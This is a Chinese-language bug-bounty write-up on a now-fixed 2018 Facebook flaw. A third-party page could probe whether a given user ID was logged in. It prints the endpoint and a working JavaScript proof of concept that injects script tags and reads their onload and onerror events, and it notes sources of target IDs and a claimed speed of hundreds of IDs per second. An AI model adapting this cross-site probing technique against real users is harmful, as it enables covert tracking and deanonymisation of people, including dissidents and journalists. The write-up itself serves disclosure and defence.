挖洞经验 | 通过一个网页识别Facebook用户当前登录状态
字数 1382 2025-08-18 11:38:08
Facebook用户登录状态检测漏洞分析报告
漏洞概述
本报告详细分析了一个Facebook漏洞,该漏洞允许攻击者通过构造特定网页,输入Facebook用户ID来检测该用户当前是否处于登录状态。漏洞由研究人员发现并报告给Facebook,经过半年多时间修复,Facebook最终奖励了1000美元赏金。
漏洞背景
在剑桥分析公司用户隐私事件后,Facebook推出了"数据滥用悬赏"计划(Data Abuse Bounty),旨在奖励与用户数据安全相关的漏洞发现。研究人员基于此背景,尝试寻找通过其他网站跟踪识别Facebook用户的方法。
漏洞发现过程
初始研究思路
-
寻找Facebook后端服务中:
- 缺少
access-control-allow-origin保护的服务 - URL中包含用户ID参数的服务
- 能够通过响应内容验证用户ID正确性的服务
- 缺少
-
检查包含用户ID的图片资源:
- 发现某些图片在登录匹配时行为异常
- 但这些URL包含
fb_dtsg参数(CSRF防护),每个用户不同,难以利用
-
检查URL中的301/302重定向:
- 试图通过重定向到图片资源构造攻击
关键发现
最终发现一个特殊服务端点,其行为特征如下:
- 包含
access-control-allow-origin头 - 当URL中的
__user参数与登录账户不匹配时,响应包含"error"前缀 - 当匹配时,响应为纯JSON内容
技术细节
绕过同源策略
由于存在access-control-allow-origin头,无法直接使用XMLHttpRequest(XHR)调用。解决方案:
- 使用
<script>标签的.src属性调用外部链接 - 利用
<script>的onload和onerror事件判断登录状态
漏洞端点
https://www.facebook.com/ajax/pagelet/generic.php/TimelineEntStoryActivityLogPagelet?dpr=2&ajaxpipe=1&ajaxpipe_token=AXjeDM6DZ_aiAeG-&no_script_path=1&data=%7B%22year%22%3A2017%2C%22month%22%3A9%2C%22log_filter%22%3A%22hidden%22%2C%22profile_id%22%3A1159016196%7D&__user=XXXXXXXXXXXX&__a=1&__dyn=7AgNe-4amaxx2u7aJGeFxqeCwKyWzEy4aheC267UqwWhE98nwgU6C4UKK9wPGi2uUG4XzEeUK3uczobrzoeonVUkz8nxm1typ8S2m4pU5LxqrUGcwBx-1-wODBwzg7Gu4pHxx0MxK1Iz8d8vy8yeyES3m6ogUKexeEgy9EhxO2qfyZ1zx69wyQF8uhm3Ch4yEiyocUiVk48a8ky89kdGFUS&__req=fetchstream_8&__be=1&__pc=PHASED%3ADEFAULT&__rev=3832430&__spin_r=3832430&__spin_b=trunk&__spin_t=1524222703&__adt=8&ajaxpipe_fetch_stream=1
检测机制实现
JavaScript核心代码
$(document).ready(function() {
for (i = 0; i < ids.length; i++) {
userid = ids[i];
var scriptblock = document.createElement("script");
scriptblock.src = "https://www.facebook.com/ajax/pagelet/generic.php/TimelineEntStoryActivityLogPagelet?dpr=2&ajaxpipe=1&ajaxpipe_token=AXjdDM6DZ_aiAeG-&no_script_path=1&data=%7B%22year%22%3A2017%2C%22month%22%3A9%2C%22log_filter%22%3A%22hidden%22%2C%22profile_id%22%3A1059016196%7D&__user=" + userid + "&__a=1&__dyn=7AgNe-4amaxx2u6aJGeFxqeCwKyWzEy4aheC267UqwWhE98nwgU6C4UKK9wPGi2uUG4XzEeUK3uczobrzoeonVUkz8nxm1typ8S2m4pU5LxqrUGcwBx-1-wODBwzg7Gu4pHxx0MxK1Iz8d8vy8yeyES3m6ogUKexeEgy9EhxO2qfyZ1zx69wyQF8uhm3Ch4yEiyocUiVk48a8ky89kdGFUS&__req=fetchstream_8&__be=1&__pc=PHASED%3ADEFAULT&__rev=3832430&__spin_r=3832430&__spin_b=trunk&__spin_t=1524222703&__adt=8&ajaxpipe_fetch_stream=1";
scriptblock.id = userid;
scriptblock.onload = function() { update_auto_result(this.id, false) };
scriptblock.onerror = function() { update_auto_result(this.id, true) };
document.getElementById('scriptblock').appendChild(scriptblock);
}
});
function runcheck(userid) {
var scriptblock = document.createElement("script");
scriptblock.src = "https://www.facebook.com/ajax/pagelet/generic.php/TimelineEntStoryActivityLogPagelet?dpr=2&ajaxpipe=1&ajaxpipe_token=AXjdDM6DZ_aiAeG-&no_script_path=1&data=%7B%22year%22%3A2017%2C%22month%22%3A9%2C%22log_filter%22%3A%22hidden%22%2C%22profile_id%22%3A1059016196%7D&__user=" + userid + "&__a=1&__dyn=7AgNe-4amaxx2u6aJGeFxqeCwKyWzEy4aheC267UqwWhE98nwgU6C4UKK9wPGi2uUG4XzEeUK3uczobrzoeonVUkz8nxm1typ8S2m4pU5LxqrUGcwBx-1-wODBwzg7Gu4pHxx0MxK1Iz8d8vy8yeyES3m6ogUKexeEgy9EhxO2qfyZ1zx69wyQF8uhm3Ch4yEiyocUiVk48a8ky89kdGFUS&__req=fetchstream_8&__be=1&__pc=PHASED%3ADEFAULT&__rev=3832430&__spin_r=3832430&__spin_b=trunk&__spin_t=1524222703&__adt=8&ajaxpipe_fetch_stream=1";
scriptblock.id = userid;
scriptblock.onload = function() { show_result(userid, false) };
scriptblock.onerror = function() { show_result(userid, true) };
document.getElementById('manualblock').appendChild(scriptblock);
}
性能特点
- Facebook后端使用HTTP2协议,可快速处理大量请求
- 无速率限制
- 每秒可查询400-500个用户ID
- 一分钟内可查询数千个用户ID状态
漏洞危害分析
利用前提
需要知道目标用户的Facebook用户ID,可通过:
- 从"剑桥分析"事件泄露的数据中获取
- 专制政府掌握的特定人员信息
- 公司内网中收集的内部人员信息
潜在影响
- 隐私侵犯:检测用户在线状态属于隐私侵犯
- 针对性攻击:对特定人群(如异议人士、记者等)影响更大
- 行为分析:可建立用户在线行为模式
防御建议
-
服务端修复:
- 统一所有端点的安全策略
- 对敏感端点实施严格的同源策略
- 添加速率限制
-
客户端防护:
- 使用隐私保护浏览器扩展
- 定期清理Cookies
- 使用不同浏览器进行不同账户的登录
漏洞披露时间线
- 2018.5.1:研究人员询问漏洞状态
- 2018.5.2:Facebook回复正在调查
- 2018.5.23:Chrome环境修复,Safari仍可利用
- 2018.5.23:Facebook表示正在制定修复方案
- 2018.6.20:Facebook奖励1000美元
总结
该漏洞展示了如何通过巧妙利用Web技术(如script标签加载和事件处理)绕过同源策略限制,实现对用户隐私状态的检测。虽然需要预先知道用户ID,但在特定场景下仍可能造成严重隐私泄露。此案例也说明了大型Web应用在保持功能丰富性的同时,确保所有端点安全性的挑战。